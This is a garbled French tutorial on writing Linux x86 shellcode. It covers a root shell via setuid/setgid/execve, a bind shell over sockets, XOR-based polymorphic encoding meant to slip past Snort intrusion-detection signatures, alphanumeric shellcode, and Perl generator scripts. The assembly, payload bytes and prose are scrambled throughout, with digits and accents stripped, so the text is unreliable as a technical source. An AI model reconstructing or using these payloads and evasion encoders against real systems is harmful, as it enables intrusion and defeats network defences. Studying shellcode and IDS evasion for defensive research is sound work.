notre shellcode se charge sans encombre de loffset . Il suffit donc dappeler successivement
setuid.c notes. syssetgid et execve.c getesp getesp.c notes.txt notes. .c sc vuln
vuln..deimosltbx/stackoverflow mkdir testdir deimosltbx/stackoverflow ls exploit exploit.c Le
proof of concept est cidessus . /bin/sh.txt deimosltbx/stackoverflow .c getesp getesp. Voyons
prsent une partie de ce que lon peut faire avec les syscall. NULL.c getesp getesp.txt
deimosltbx/stackoverflow mkdir testdir deimosltbx/stackoverflow . setgid et execve/bin/sh.
char constargv .deimosltbx/stackoverflow/shellcode cat gtshellroot. esp xor edx. syssetuid .
int execve const char fichier. x xor ebx. xor eax. xe xor ebx. void exit int status xor eax. xb .
edx push edx push ebx mov ecx. char constenvp xor eax. ebx int x . syssetgid .asm BITS
global start segment . ebx int x . eax mov al. ebx int x . byte x push byte x push word xf push
xef mov ebx. int setuiduidt uid xor eax. x xor ebx.text start . sysexecve push byte x xor esp.
esp int x . eax mov al. int setgidgidt gid. eax mov al. eax mov al.
int shellcode sc./test ltbx/home/deimos/stackoverflow/shellcode id uidroot gidroot Le second
shellcode est un peu plus complexe. tant donn quil faut y manipuler des structures et un
nombre plus importants de fonctions. Le numro du syscall tant toujours contenu par EAX. Il
sagit dun bind shell.c test. int main int shellcode.c attention use of cast expressions as
lvalues is deprecated deimosltbx/stackoverflow/shellcode su Password
ltbx/home/deimos/stackoverflow/shellcode chown rootroot test
ltbx/home/deimos/stackoverflow/shellcode chmod ugxs test
ltbx/home/deimos/stackoverflow/shellcode exit exit deimosltbx/stackoverflow/shellcode id
uiddeimos giddeimos deimosltbx/stackoverflow/shellcode . voici la liste des valeurs
correspondantes aux diffrentes fonctions extrait de include/linux/net. cest le registre EBX qui
permet de choisir la fonction dsire .h define SYSSOCKET define SYSBIND define
SYSCONNECT define SYSLISTEN / syssocket / sysbind / sysconnect / syslisten / / / / .c char
sc quotxxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcxb xbxaxxxxxxaxxxxfxxxfxxxex
xexxdxxxxexcdxxxcxbxxxdbxcdxquot.c Dans la fonction main test. shellcode.
deimosltbx/stackoverflow/shellcode gcc o test test. Toutes les fonctions sur les socket telles
que socket. bind.deimosltbx/stackoverflow/shellcode cat gttest. sont appeles par lintermdiaire
du syscall syssocketcall. cestdire un shell li une socket connexion.
Comme dans le code assembleur prcdent. On peut ainsi se lancer sans problme dans la
programmation de notre shellcode condition de connatre un peu les sockets UNIX. A vous
de le rendre le plus court possible.h struct sockaddrin short sinfamily. struct inaddr sinaddr.
char sinzero.define SYSACCEPT define SYSGETSOCKNAME define SYSGETPEERNAME
define SYSSOCKETPAIR define SYSSEND define SYSRECV define SYSSENDTO define
SYSRECVFROM define SYSSHUTDOWN define SYSSETSOCKOPT define
SYSGETSOCKOPT define SYSSENDMSG define SYSRECVMSG / sysaccept / /
sysgetsockname / / sysgetpeername / / syssocketpair / / syssend / / sysrecv / / syssendto / /
sysrecvfrom / / sysshutdown / / syssetsockopt / / sysgetsockopt / / syssendmsg / /
sysrecvmsg / Les structures suivantes pourraient galement nous tre utiles extrait de
include/netinet/in. . struct inaddr unsigned long saddr. ushort sinport. . sachant que le plus
petit bind shell tient en un peu moins de octets . jai prfr crer un shellcode comprhensible la
premire lecture plutt quun shellcode extrmement optimis et dont la lisibilit est bien plus
difficile pour un dbutant.
protocol TCP mov dl. socket xor edx. x . domain AFINET mov ecx. adresse des arguments
int x .text start . myaddr xor ecx. eax mov al.. edx mov dl. x . eax mov al. x push edx . x push
edx . struct sockaddr myaddr. type SOCKSTREAM mov dl. esp . socklent addrlen
.deimosltbx/stackoverflow/bindshell cat gtbindshell. int protocol . syssocketcall xor ebx. x . x .
ebx mov bl. x push dx . edx push edx push edx .. push word x . adresse IP . bind xor edx.
ebx inc bl . xor eax. int bindint sockfd. port mov dl. eax . ecx mov cl. padding push edx . x
push edx . PFINET mov edx. mov edi. sauvegarde du descripteur de socket serveur xor eax.
esp .asm BITS global start segment . int socketint domain. int type. syssocketcall xor ebx.
addrlen x . int backlog . ebx mov bl. eax . xf . xor eax. struct sockaddr addr. eax mov al.
sauvegarde du descripteur de socket client xor eax. int acceptint s. edx inc edx push edx .
esp int x . x . sockfd descripteur de socket serveur . esp . mov ebx. listen xor edx. s
descripteur de socket mov ecx. socklent addrlen . addr NULL push edi . syssocketcall xor
ebx. ecx int x . . x . eax mov al. adresse des arguments serveur int x . int newfd.
syssocketcall xor ebx. xor eax. adresse des arguments . ebx mov bl. backlog push edi .
sysdup xor ecx. esp . edx push edx .push ecx push edx push edi mov ecx. s descripteur de
socket serveur mov ecx. int listenint s. adresse des arguments int x . x . addrlen NULL push
edx . accept xor edx. myaddr . int dupint oldfd. eax mov al. x .
eax mov al. sysdup inc ecx int x . edx push edx push ebx mov ecx. int dupint oldfd. xf . int
dupint oldfd. eax mov al. int newfd . esp int x . eax mov al. xf . int newfd . xb . int execve
const char fichier. xor eax. char constenvp . char constargv . byte x push byte x push xf push
xef mov ebx. sysdup inc ecx int x . esp xor edx.. xor eax. xor eax. sysexecve push byte x xor
esp.
. les paquets qui contiennent le payload peuvent tre intercept et examin par un NIDS
Network Based Intrusion Detection System tel que Snort sous les systmes GNU/Linux./
donne le message dalerte et journalise les flux externes provenant de tout port et destination
du port alert tcp any any gt . Lors des exploitations de buffer overflow distance../ msg Exploit
SSH NOPs detected. afin de dtecter des flux rseaux malveillants.. Les rgles de filtrage de
Snort sont gnralement de la forme action protocole ipsource portsource gt ipdest
portdestoptions de rgle Exemples journalise tous les flux externes provenant dun port source
suprieur et destination du port sur la plage . do lappellation shellcode polymorphique. . log
tcp any gt . Snort dispose dun ensemble de signatures dans le dossier /etc/snortrules/.
Voyons prsent les avantages et inconvnients du polymorphisme.... contentquot quot... .. Ces
systmes de dtection dintrusion disposent dune base de donnes de signatures. Techniques
avances de programmation de shellcode Dans cette partie nous allons aborder des
shellcodes dune forme plutt particulire qui se modifient euxmmes. similaire celle dun
antivirus.
rev. sid. on constate que Snort la base de donnes de signatures sur les shellcodes de Snort
nest pas trs exhaustive. comme /bin/sh La rptition en fin de chane de ladresse de retour.
classtypesystemcalldetect.established. classtypeshellcodedetect. depth. contentquotB B CD
quot. de la forme xbfffxxxx Si lon jette un il aux fichiers /etc/snort/rules/shellcode. La rponse
ce souci se trouve dans le polymorphisme des shellcodes. referencebugtraq. rev. Les
shellcodes peuvent tre dtects de nombreuses manires.. referencearachnids. . qui va nous
permettre de bypasser ces rgles assez facilement. classtypeshellcodedetect. de
messageries instantanes et de backdoors mais galement afin de donner lalerte en cas de
flux entrants suspects.. sid. contentquot E C FF FF FF/bin/shquot. en effet on en trouve pour
dtecter les flux sortants de Peer to Peer. classtypeshellcodedetect. sid. referencearachnids..
referencearachnids. classtypesystemcalldetect. rev. alert ip EXTERNALNET
SHELLCODEPORTS gt HOMENET any msgquotSHELLCODE x setgid quot. sid. rev. alert
ip EXTERNALNET SHELLCODEPORTS gt HOMENET any msgquotSHELLCODE Linux
shellcodequot. referencecve. contentquot/bin/shquot. sid.rules. referencecve..rules et
/etc/snort/rules/exploit. alert ip EXTERNALNET SHELLCODEPORTS gt HOMENET any
msgquotSHELLCODE x setuid quot. tant donn leur structure commune Une suite de
plusieurs dizaines voire centaines doctets NOPs La prsence de syscall et donc de
linterruption x linstruction int x correspond aux opcodes xCD La prsence dune chane de
caractres suspecte pouvant tre utilise avec execve par exemple. alert tcp EXTERNALNET
any gt HOMENET msgquotEXPLOIT ssh CRC overflow /bin/shquot. referencearachnids.
contentquotB CD quot. contentquot quot. alert ip EXTERNALNET SHELLCODEPORTS gt
HOMENET any msgquotSHELLCODE x NOOPquot. comme par exemple une suite doctets
x NOP qui est souvent synonyme de shellcode.Les rgles de Snort couvrent de trs nombreux
domaines . flowtoserver. rev.. Toutefois certaines peuvent tre gnantes si lon veut rester
stealth ...
puisquils constituent souvent une signature du payload. ceci tant d lencodage des octets. .
De ce fait il sera possible doptimiser parfois un peu plus le code assembleur. d au rajout de
la routine de dcryptage. un peu de thorie afin de dfinir clairement la structure de notre
shellcode polymorphique. Le schma suivant prsente la composition de notre payload . mais
ce gain de bytes sera perdu car le plus gros inconvnient du polymorphisme est le gain de
taille en octets. La premire partie de ce chapitre sera consacre aux shellcodes
polymorphiques de base. la dernire partie traitera du camouflage des NOPs. puis nous
verrons un second type de polymorphisme plus avanc qui nous permettra dobtenir un
shellcode entirement alphanumrique. comme on le voit dans le fichier de rgles de Snort..Ce
polymorphisme permet galement au shellcode initial de contenir des octets NULL . Shellcode
polymorphique Avant de se lancer dans la programmation assembleur. Enfin. cestdire sans
aucun caractre autre que AZaz.
xxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcx bxbxaxxxxxxaxxxxfxxxfxxxe
xxexxdxxxxexcdxxxcxbxxxdbxcdx Cest pourquoi nous adoptons un cryptage avec cl
glissante . Le but nest pas dobtenir un cryptage puissant.Les tapes pour coder un tel
shellcode sont donc les suivantes Coder le shellcode de base Le crypter par XOR avec une
cl de bits incrmente chaque itration. et plus la taille du shellcode augmente. mais uniquement
de cacher les suites dinstructions susceptibles dtre dtectes par les NIDS. plus le choix de cl
dencodage sera restreint voire nul. nous obtiendrons un octet NULL. tant donn que le OU
exclusif XOR est symtrique xb xa x xab xb xc xdc xc xb . si nous devons encoder les
opcodes suivants avec la cl xa. Il est obligatoire dutiliser une cl incrmente ou dcrmente au
codage de chaque octet car dans le cas contraire. Pour les premiers octets du shellcode
cidessus qui nous rend un shell root. cestdire modifie chaque itration. Par exemple. en
vrifiant quaucun octet ne soit NULL dans le shellcode encod Coder la routine de dcryptage.
lencodage donnerait comme rsultat x xa xb xc xb xab xb xc xdc La routine de dcryptage
effectue exactement la mme opration algbrique. on risquerait dans le cas de shellcode de
taille moyenne ou grande dobtenir des octets NULL. on peut galement utiliser une simple
soustraction avec linstruction SUB ou addition ADD. qui prcdera videmment le shellcode
crypt Dautres algorithmes basiques de cryptage sont possibles hormis le chiffrage par XOR
voir en Annexes pour les proprits mathmatiques du XOR .
elle peut tenir en environ octets. boucle de dcryptage mov regacc. . on passe loctet suivant
inc regkey . registre contenant la cl de dcyptage . regacc inc regoffset .Voici donc la
carcasse de notre shellcode polymorphique en langage assembleur BITS segment . routine
de dcryptage .. remise zero des registres . shellcode crypt En optimisant au maximum la
routine de dcryptage. xxx mov reglength. regoffset xor regacc.text global start start jmp short
data decrypt pop regoffset mov regkey. incrmentation de la cl dec reglength jnz boucle jmp
short shellcode data call decrypt shellcode db x. passer son shellcode par un cryptage XOR
ne cote pas grand chose les quelques lignes suivantes de Perl peuvent venir votre secours .
registre contenant la longueur du shellcode boucle . regkey mov regoffset. De plus. xea .
x. xb. x d.deimosltbx cat gtscxor. xd. x.asm x xe xd xc xe x xb xe x . deimosltbx perl scxor. x.
x. x. xdc. print quotSize xquot.unpackquotHquot. x . quotltARGVquot. x. xda. x. x. quot. close
FILE. xc.quotnquot. xe. x. x.quot. xde. x. key intrand . packquotCquot. ifARGV lt print
quotUsage perl scxor. x. ltFILEgt. x. xdf. xc. xc. open FILE. key. xdb. xef. xf. xd. xd. x. xa. x.
x. xa. foreach opcode content opcode opcode packquotCquot. xfe.pl shellcode Key xe xd. xc.
xc. x. x. use vars qwcontent opcode key. x. xb. Vrifions rapidement que notre script Perl
effectue le bon algorithme avec les premiers octets du shellcode shellroot.unpackquotHquot.
xa . print quotxquot. opcode.pl /usr/bin/perl use strict.pl filenquot. xf. xf.unpackquotHquot. x.
xab. xaf. x. exit.quotnquot. content. xc. packquotCquot. content split . key. print quotKey
xquot. xdf. xc. x. x.
Voici le code assembleur de notre nouveau shellcode
BITS segment .text global start start jmp short donnees decrypt pop esi mov edi, esi xor edx,
edx push edx pop ebx mov dl, x mov bl, xe boucle lodsb xor eax, ebx stosb inc ebx dec edx
jnz boucle jmp short shellcode
recuperation de loffset du shellcode crypt edx x ebx x dl taille de notre shellcode bl cl XOR
chargement de loctet crypt dcryptage remplacement par loctet dcrypt incrmentation de la cl
donnees call decrypt shellcode db xd, x, x, xfe, xdb, x, x, xd, xdf, xf, x, xdf, xc, x, x, x, xc, x, x,
xf, x, xab, xc, xc, xda, xaf, xa, x, x, xb, xb, x, xe, x, xa, x, x, x, xef, xc, xdc, xd, x, x, xf, xde, x,
x, xd, xa, x, x, xc, xd, xc
Avec ce modle de shellcode polymorphique, on peut sans problme coder des shellcodes de
plus de octets en effet, une fois que la cl arrive la valeur xff puis x, elle ne tient plus sur un
seul octet, mais cela ne pose pas de soucis tant donn que lon utilise stosb, qui est un
quivalent des instructions mov edi, al inc edi si le Direction Flag est . Il faut donc sassurer
quil na pas la valeur car cela engendrerait une dcrmentation du registre EDI plutt quune
dcrmentation de mme avec ESI lors de linstruction lodsb. Pour cela on placera linstruction
cld Clear Direction Flag avant la boucle
de dcryptage.
.. Shellcode alphanumrique
Une forme plus avance du polymorphisme de base vu prcdemment permet de composer un
shellcode entirement en lettres et chiffres, cestdire AZaz. Ainsi le shellcode crypt devra tre
alphanumrique, mais la routine de dcryptage galement. Cette technique est toutefois bien
plus complexe, ceci tant d au fait que nous avons un jeu dinstructions assembleur trs limit.
De plus, la taille du shellcode entier sera considrablement plus grande par rapport au
shellcode initial, car une boucle de dcryptage est impossible pour de trs nombreuses raisons.
.. Instructions disponibles
INC ecx dx bx sp bp si di Lincrmentation est possible sur la quasitotalit des registres et bits.
En effet, les instructions INC eax et INC ax nentrent pas dans notre charset jeu de caractres.
Les instructions inc ecx dx bx sp bp si di sont codes sur un octet, et leurs opcodes sont situs
sur la plage x, cestdire AG. En ce qui concerne lincrmentation des registres bits, elle est
code sur deux octets loctet x caractre f ainsi que lopcode correspondant lincrmentation du
registre de bits.
inc ecx inc cx x x A fA
Lincrmentation des registres de bits ah/al, bh/bl, ch/cl, dh/dl est quant elle impossible, tant
donn quelle dbute par loctet xfe, qui correspond un caractre spcial de la table ASCII tendue.
Il est galement impossible deffectuer des instructions du type inc m inc m inc m comme par
exemple inc byte eax.
DEC r r La dcrmentation est possible sur tous les registres bits et bits, tant donn que la
plage dopcodes est xf HO pour les registres bits et xf fHO pour les registres bits. Cette
instruction ne permet pas non plus deffectuer des oprations sur les registres bits ou sur des
octets en mmoire.
PUSH r r imm imm imm On peut se servir de linstruction push sur tous les registres et bits,
ainsi que pour empiler des valeurs sur la pile sans passer par un registre. Lempilage dun
registre bits est cod sur un octet, celui dun registre bits sur deux octets x opcode de push r.
En ce qui concerne lempilage dun octet, lopcode est de la forme xaxx, pour empiler un
dword xxxxxxxxx et pour empiler un word xxxxx. Il nest cependant pas possible dempiler des
octets de la mmoire.
push ecx push cx push byte a push word aa push dword aaaa x x xa x x Q fQ ja fhaa haaaa
POP eax cx dx Linstruction pop quant elle ne peut uniquement tre utilise sur quelques
registres gnraux bits et par consquent sur leurs quivalents bits.
EBX. des valeurs ou des pointeurs mmoire. Linstruction POPAD est code sur un seul octet.
En effet. POPAD Cette instruction permet de dpiler tous les registres bits dans lordre suivant
EDI. XOR r/m. il faut tre trs rigoureux sur ce que lon pourra effectuer comme instruction ou
pas. ne sont disponibles. soit les caractres et . EDX. SUB. puis suit un octet cod en fonction
des deux oprandes de linstruction et ventuellement un autre octet si on rajoute une valeur au
registre pointeur. ebx xor edx. imm XOR eax. r/m XOR r. r/m XOR al. ECX et EAX. ebx xor
edx. Cidessus sont reprsentes les instructions dont lopcode est situ dans notre charset . x
caractre a. comme avec le prcdemment. imm Linstruction XOR va tre la pice matresse de
notre shellcode alphanumrique. Son quivalent PUSHAD nest pas disponible. xor edxx. nous
allons encoder notre shellcode initial avec un cryptage XOR . ESP. r XOR r/m. ebx xA xA
xDA Le premier opcode est donc effectivement celui de linstruction. Comme linstruction XOR
possde deux oprandes et que ces dernires peuvent tout aussi bien tre des registres.
Lexemple cidessous nous permettra de mieux comprendre les phrases prcdentes. Toutefois
toutes les instructions ne sont pas disponibles car lopcode des oprandes doit galement tre
alphanumrique. ces opcodes sont situs entre x et x. EBP. Aucun oprande nest donc
ncessaire. ESI. . En effet. toutefois nous navons ici aucune autre possibilit de mthode de
cryptage tant donn quaucune autre instruction mathmatique comme ADD. r XOR r. ayant
pour opcode x.
afin de connatre prcisment quelles sont les instructions que lon peut effectuer avec lopration
XOR. ebx . cestdire celle tant un registre Champ mod bits il dtermine le mode dadressage du
champ r/m adressage indirect . ce qui correspond bien un adressage indirect sans base. et
donc savoir quelles oprandes sont disponibles avec notre instruction XOR ou toute autre
instruction utilisant loctet ModR/M. cestdire celle tant un pointeur ou un registre lorsque lon
effectue des instructions sur deux registres comme XOR eax. ici EAX Champ r bits il
dtermine loprande r. xA lorsque lon a edx.Cet octet. exemple eax adressage indirect avec
base dun octet sign signed byte. cestdire de x xf . exemple eaxx adressage indirect avec
base dun doublemot sign signed double word . Il a t modifi pour cet article afin de marquer
les valeurs pour lequel loctet ModR/M reprsente un caractre alphanumrique. ebx en
oprandes et xDA lorsque lon a edx. Toutefois Intel nous fourni ce tableau dans le manuel
Intel Architecture Software Developers Manual Volume Instruction Set Reference voir page
suivante. exemple eax En effet xA b. On en dduit donc que EDX a pour code b et EBX b. est
appel octet ModR/M. On peut ainsi dresser un tableau contenant les valeurs possibles de
loctet ModR/M. Il est divis en trois champs Champ r/m bits il dtermine loprande r/m. ebx
comme dans lexemple prcdent. le champ r/m correspond au registre de destination. .
exemple eaxx registre .
.
Lalgorithme dencodage Comme dit prcdemment.. mais galement les octets du shellcode
encod. Toutefois. il est possible deffectuer un NOT sur loctet avant de le dcrypter par XOR x
xCF xCF x xFF Do x x xFF . il est impratif que la cl XOR soit situe dans notre jeu de
caractres alphanumriques.. en faisant quelques tests sur la porte des valeurs que lon peut
obtenir en effectuant un OU exclusif sur deux nombres de notre intervalle Entier dcoder x x b
x x x // valeur minimale pouvant tre obtenue x xF xF // valeur maximale pouvant tre obtenue
Entier dcoder x x b x xE xF // valeur maximale pouvant tre obtenue On remarque que nous
narriverons pas dcoder tous les octets de notre shellcode si ceuxci ont des valeurs
suprieures xF. lencodage se basera entirement sur du XOR. Toutefois.. Cela vient du fait
que le bit le plus fort positionn est le me dans le code de toutes les valeurs alphanumriques x
xb x xb xA xb Afin dobtenir des valeurs jusqu xFF.
Bien que par la suite nous gnrerons le shellcode alphanumrique avec un script.Toutefois
linstruction assembleur NOT ne peut pas tre utilise car son opcode nest pas cod en une
valeur alphanumrique. Par exemple. le premier avec xFF et le second avec la cl Le tableau
suivant reprsente quel encodage doit tre appliqu sur chaque octet afin doptimiser au
maximum notre code assembleur. . il faudra encoder les opcodes en fonction de leur valeur
Les opcodes dont la valeur est situe dans notre intervalle alphanumrique ne seront pas
encods Les opcodes correspondant aux valeurs opposes celles de notre intervalle par
exemple xCF x seront encoder avec un simple XOR de xFF Certains opcodes seront encods
par XOR avec une cl alphanumrique Les opcodes restant devront tre crypts par deux XOR.
donc les instructions assembleur de notre routine de dcryptage effectueront lopration x xFF
x. Toutefois il ne sera pas ncessaire dencoder toutes les valeurs de notre shellcode initial.
nous pouvons le coder en x par lopration xFA x x. cette table nous aidera lors de la
construction manuelle de la routine de dcryptage. Or x a pour quivalent x xFF. Revoyons les
proprits algbriques de lopration XOR Donc a a Nous pouvons donc simuler notre instruction
NOT par une instruction XOR. Lopration de dcodage sera alors x x. qui nous rendra notre
opcode en clair xFA. si un opcode pour valeur xFA. afin dallger notre routine de dcodage. En
effet.
.
. Effectivement. eax mov ecx. de quelle manire effectueronsnous le NOT XOR avec xFF
alors que la valeur xFF ne se situe pas dans notre jeu de caractres Nous pouvons palier tous
ces problmes en substituant MOV. eax Notre premier MOV peut tre substitu par une
combinaison de PUSH / POP mov eax. au dbut de notre shellcode.. x push x pop eax
Toutefois. x mov ebx.. Tout dabord. et ceci va nous poser de nombreux ennuis. nous ne
pouvons pas adopter cette mthode pour dplacer la valeur nulle de EAX aux autres registres.
imm disponible est celle utilisant EAX en registre de destination Nous devons donc mettre
une valeur dans EAX. il nous faut mettre zro les registres que nous allons utiliser.
Substitution dinstructions A prsent que nous connaissons toutes les instructions possibles
dans notre routine de dcryptage. Rappelonsnous que lunique instruction XOR r. il faut se
souvenir que bien que linstruction PUSH . x xor eax. comment raliser cette opration sans
MOV Comment effectuer lopration inverse afin de remplacer notre octet dcod Ou encore.
effectuer un OU exclusif dessus puis dplacer cette valeur dans les autres registres. Ce qui se
traduit par mov eax. Pour dcrypter notre shellcode. NOT. il nous faut pouvoir charger dans
un registre un ou plusieurs octets de la mmoire. par dautres instructions qui produiront une
action quivalente. bien que rallongeant notre shellcode et donc utiliser avec modration . il
nous faut songer certains points essentiels en effet linstruction MOV nest pas disponible.
edi push x pop eax xor eax. soit EAX. Pour cela. EDX. ECX. Linstruction POPAD rsout
justement ce problme elle sutilise en gnral avec PUSHAD. EDX. mais ce nest pas le cas
pour linstruction POP qui ne peut permet de dpiler seulement dans EAX. on substitue ebx
par eax push ebp push esi push edi popad A prsent que nous pouvons simuler nimporte quel
MOV reg. Si lon se rfre au tableau traitant de loctet ModR/M page . esi . ESI. x push eax pop
edx xor dh. mov ebx. DI et EDI en registre r avec soit EAX. eax null . on constate que lon
peut utiliser DH. soit ECX en registre r/m Afin dobtenir par exemple un octet situ ladresse
mmoire contenue dans EDI. ESP. reg. il serait galement intressant de savoir comment
charger une suite doctets de la mmoire dans un registre. EBP. SI et ESI en registre r avec
nimporte quel registre gnral et dindex. on peut donc crire le code assembleur suivant mov
dh. Rappel POPAD dpile dans lordre EDI. ESI et EDI r/m BH. nous utilisons linstruction XOR
avec un registre de destination ayant une valeur nulle. toutefois nous allons effectuer une
srie de PUSH reg puis POPAD afin de remplacer les instructions MOV. EBX.peut tre utilise
avec nimporte quel registre bits donc EAX. EBX. edx null . ECX et EAX. ECX ou EDX. eax
push eax push ecx push edx push eax .
il suffit dinverser les oprandes du XOR prcdent. revoyons pourquoi une structure telle que
nous avions pour notre shellcode polymorphique nonalphanumrique est totalement
impossible start jmp short data decrypt pop regoffset mov regkey. remise zero des registres .
Il faudra donc transfrer ESP dans un registre gnral ou dindex et dcrmenter celuici avec de
suivre la valeur du Stack Pointer. toutefois cette mme instruction nous permet de dcrypter les
opcodes de notre shellcode. Il faut donc lors de linitialisation des registres effectuer une
dcrmentation dun registre avec valeur nulle pour transfrer la valeur xFFFFFFFF plusieurs
registres ceux dont nous allons nous servir pour le NOT. tant donn que le shellcode crypt se
situe sur la pile. Cette opration ne nous intresse pas . Mais laissons ce problme de ct afin de
ltudier plus en dtails dans la section suivante. La valeur xFF sobtient partir dune valeur nulle
en effectuant une dcrmentation. registre contenant la cl de dcyptage . Nous avons vu
prcdemment quelle tait quivalente un XOR avec xFF. Cependant ESP ne peut tre pris
comme registre de destination ce qui nous aurait fortement arrangs. La dernire difficult avant
dobtenir uniquement des instructions alphanumriques est de substituer lopration NOT.. en
sassurant que les octets cette adresse sont ont la valeur x.. registre contenant la longueur du
shellcode . xxx mov reglength. cestdire charger une valeur un emplacement prcis de la
mmoire. xea . Or. routine de dcryptage .Pour raliser lopration inverse. . Structure du
shellcode Tout dabord. linstruction DEC est disponible. puisquils sont justement en mmoire
dans ce cas les octets en mmoire nont videmment pas une valeur nulle.
Do limpossibilit dadopter un algorithme itratif. nest pas linaire . en effet nous nappliquons
pas comme ici une simple fonction XOR avec incrmentation de cl. Puis. regoffset xor regacc.
regacc inc regoffset . Notre shellcode se dcomposera donc en plusieurs parties Initialisation
des registres Routine de dcryptage Padding bourrage .boucle . JNO offset. impossible
deffectuer ce saut. linstruction MOV nest pas disponible ainsi que le XOR de registre registre
. on passe loctet suivant inc regkey . Ce qui rend cette structure de dcryptage inutilisable est
le fait que notre dcodage. regkey mov regoffset.. cependant ces actions sont encore une fois
substituables par dautres ce que nous avons vues prcdemment. mais une mthode de
dcryptage diffrent pour chaque octet du shellcode. mais surtout car on ne pourrait pas
spcifier nimporte quel offset Si la routine de dcryptage excde les octets. dans le cas dun
shellcode alphanumrique. boucle de dcryptage mov regacc. tout dabord lopcode de
linstruction JMP nest pas dans notre jeu de caractres toutefois certains sauts conditionnels y
sont ils nont pas t mentionn prcdemment car nous ne nous en servons pas on pourrait donc
simuler un saut inconditionnel avec deux sauts conditionnels opposs avec par exemple les
instructions JO offset . . comme nous lavons spcifi prcdemment. shellcode crypt Le premier
JMP pourrait ne pas tre valide dans certains cas . incrmentation de la cl dec reglength jnz
boucle jmp short shellcode data call decrypt shellcode db x.
eax FFFFFFFF push esp pop ecx . nous choisirons BH. Celuici devra tre compatible avec
linstruction POP soit EAX. x . ecx esp push eax push ecx push edx push eax . En effet cest
le registre le plus adapt tant donn que lon peut effectuer un XOR sur ecx avec les registres
BH. esi FFFFFFFF push edi popad dec ecx . DH. nous opterons pour ESI. nous prendrons
ECX. Nous utiliserons donc EDX. EDI.Initialisation des registres Afin de dcrypter notre
shellcode. bh FF push esp push ebp push eax . ECX ou EDX ainsi quavec XOR en bits BH
ou DH. ESI. Un registre accessible en // bits qui contiendra la cl de dcryptage XOR. eax dec
eax . Il faut galement dcrmenter de octets ESP afin de . Un registre initialis xFFFFFFFF pour
raliser le NOT sur ou octets .Notre initialisation de registres correspondra donc la portion de
code suivant dec esp dec esp dec esp dec esp push dword x pop eax xor eax. nous aurons
besoin de plusieurs registres Un registre gnral suivant le registre ESP avec DEC car ESP ne
peut tre utilise en tant que registre mmoire avec notre charset . Un registre bits initialis xFF
afin deffectuer lopration NOT sur un octet .
car on lcraserait par la suite lorsquon effectuerait le push word valeur . ne pas raliser une
opration telle que xor ecx. dh si loctet a t encod par XOR dec ecx pour faire pointer ECX sur
loctet suivant push dword valeur tous les octets afin dempiler les octets prochaines du
shellcode traiter. bh si loctet a t encod par NOT ou pas NOT et XOR push word clexor .bh
Mais plutt traiter les octets dun coup . reg. bh dec ecx xor ecx. pop dx si la cl XOR est
identique sur plusieurs octets Si plus dun octet doit tre crypt par NOT. Effectivement. pop dx
. pop dx pour faire le XOR Un traitement suivant la mthode cidessus marcherait
parfaitement. en effet il faut se rappeler que nous avons initialis ESI xFFFFFFFF et quil peut
tre utilis sans problme comme oprande avec un xor ecx. dec ecx dec ecx dec ecx xor ecx.
toutefois on se rend compte quil est possible doptimiser quelques points Ne pas effectuer
push word clexor . on ne peut pas pusher tout le shellcode crypt avant la routine de
dcryptage.Routine de dcryptage Le dcryptage du shellcode se fera de manire linaire selon un
algorithme trs basique xor ecx. esi . bh dec ecx xor ecx. xor ecx. bh dec ecx xor ecx.
edi est encore disponible. les octets de la pile cet endroit garderont des valeurs qui ne
correspondent pas des instructions assembleur valides. EDI devra contenir la cl XOR qui
nest pas la mme du moins rarement pendant la routine de dcryptage.On pourrait galement
penser comme optimisation effectuer un XOR sur plusieurs octets la suite lorsque cest
ncessaire linstruction xor ecx. contrairement ESI qui aura une valeur statique . soit octets.
On remarque que lorsque lon effectue de nombreux push la suite. Toutefois. De plus il est
impossible de raliser un pop edi . non. il sera ncessaire de nettoyer lespace de la pile entre
le shellcode dcrypt et la routine de dcryptage. il faudrait donc pour placer la valeur de la cl
XOR dans EDI cette suite dinstructions push eax push ecx push edx push ebx push esp
push ebp push esi push clexor popad Seraitce une optimisation Dans la grande majorit des
cas. comme dans linitialisation des registres push de dword de suite. . Bourrage Dans
certains cas o le shellcode final en clair est dune taille assez petite.
comme par exemple x inc edi .Ainsi. A la suite de notre routine de dcryptage. il faut aussi
nettoyer la pile avec une instruction push word x. . si lon a empil un word sur la pile comme
dans le cas dun push word clexor . nous devrons faire suivre un code assembleur du type
push dword x push dword x Il faut galement noter qu la fin du dcrypteur de shellcode. xor
ecx. Mise en application La cration dun shellcode alphanumrique manuellement est
rapidement trs fastidieuse et les risques de se tromper augmentent considrablement avec la
longueur du shellcode initial.. dans le cas de shellcode de taille de moins de octets. Je
propse le script Perl suivant pour cette tche. dh. .. Il est dans ce cas quasiobligatoire de
coder une application ralisant lalgorithme notre place. il faut initialiser ces octets une valeur
correspondant une instruction. pop dx .
asm quot. a. Ouverture du fichier de sortie open my alphanumshellcode.z. quotalphanum.
flagend . xD .. my opcodes split . my result qw . use warnings. quotltquot. Boucle remplissant
un hash par byte du shellcode de la forme hash quotmethodquot. quotkeyquot. opcode .
Rcupration du shellcode open my shellcode. xE D E for opcode opcodes my flagresult ..
quotshellcodequot or die quotCant open shellcode quot. my opcode reverse
ltshellcodegt./usr/bin/perl use strict.Z . Tableau contenant les valeurs autorises des opcodes
my alphanum . x . A. quotresultquot exemple quotnotxorquot. while flagresult if key alphanum
key . close shellcode or die quotCant close shellcode quot. my flagend .. quotgtquot. my key
. quotopcodequot.asmquot or die quotCant open alphanum. ..
quotopcodequot gt opcode. quotopcodequot gt opcode. quotmethodquot gt quotnotxorquot.
quotresultquot gt opcode . for my alphanum alphanum if opcode eq alphanum flagresult .
quotkeyquot gt quotquot. pushresult. my not opcode. . quotmethodquot gt quotxorquot.my
keyascii alphanumkey. elsif xor eq alphanum flagresult . pushresult. quotresultquot gt not .
my notxor opcode keyascii. quotresultquot gt xor . quotopcodequot gt opcode. my xor
opcode keyascii. quotkeyquot gt quotquot. elsif notxor eq alphanum ampamp flagend
flagresult . pushresult. quotkeyquot gt keyascii. quotopcodequot gt opcode. quotmethodquot
gt quotquot. elsif not eq alphanum flagresult . pushresult. quotmethodquot gt quotnotquot.
my bytesnot undef. BITS global start segment . . my bytesnotflag undef. Entte statique du
shellcode print alphanumshellcode ltltEND. last if flagresult.text start dec esp dec esp dec
esp dec esp push dword x pop eax xor eax. x dec eax push esp pop ecx push eax push ecx
push edx push eax push esp push ebp push eax push edi popad END Valeur courante de
EDX my edx q.quotkeyquot gt keyascii. quotresultquot gt notxor .
Traitement des octets grce au hash result for my index .resultindex gtquotresultquot. else
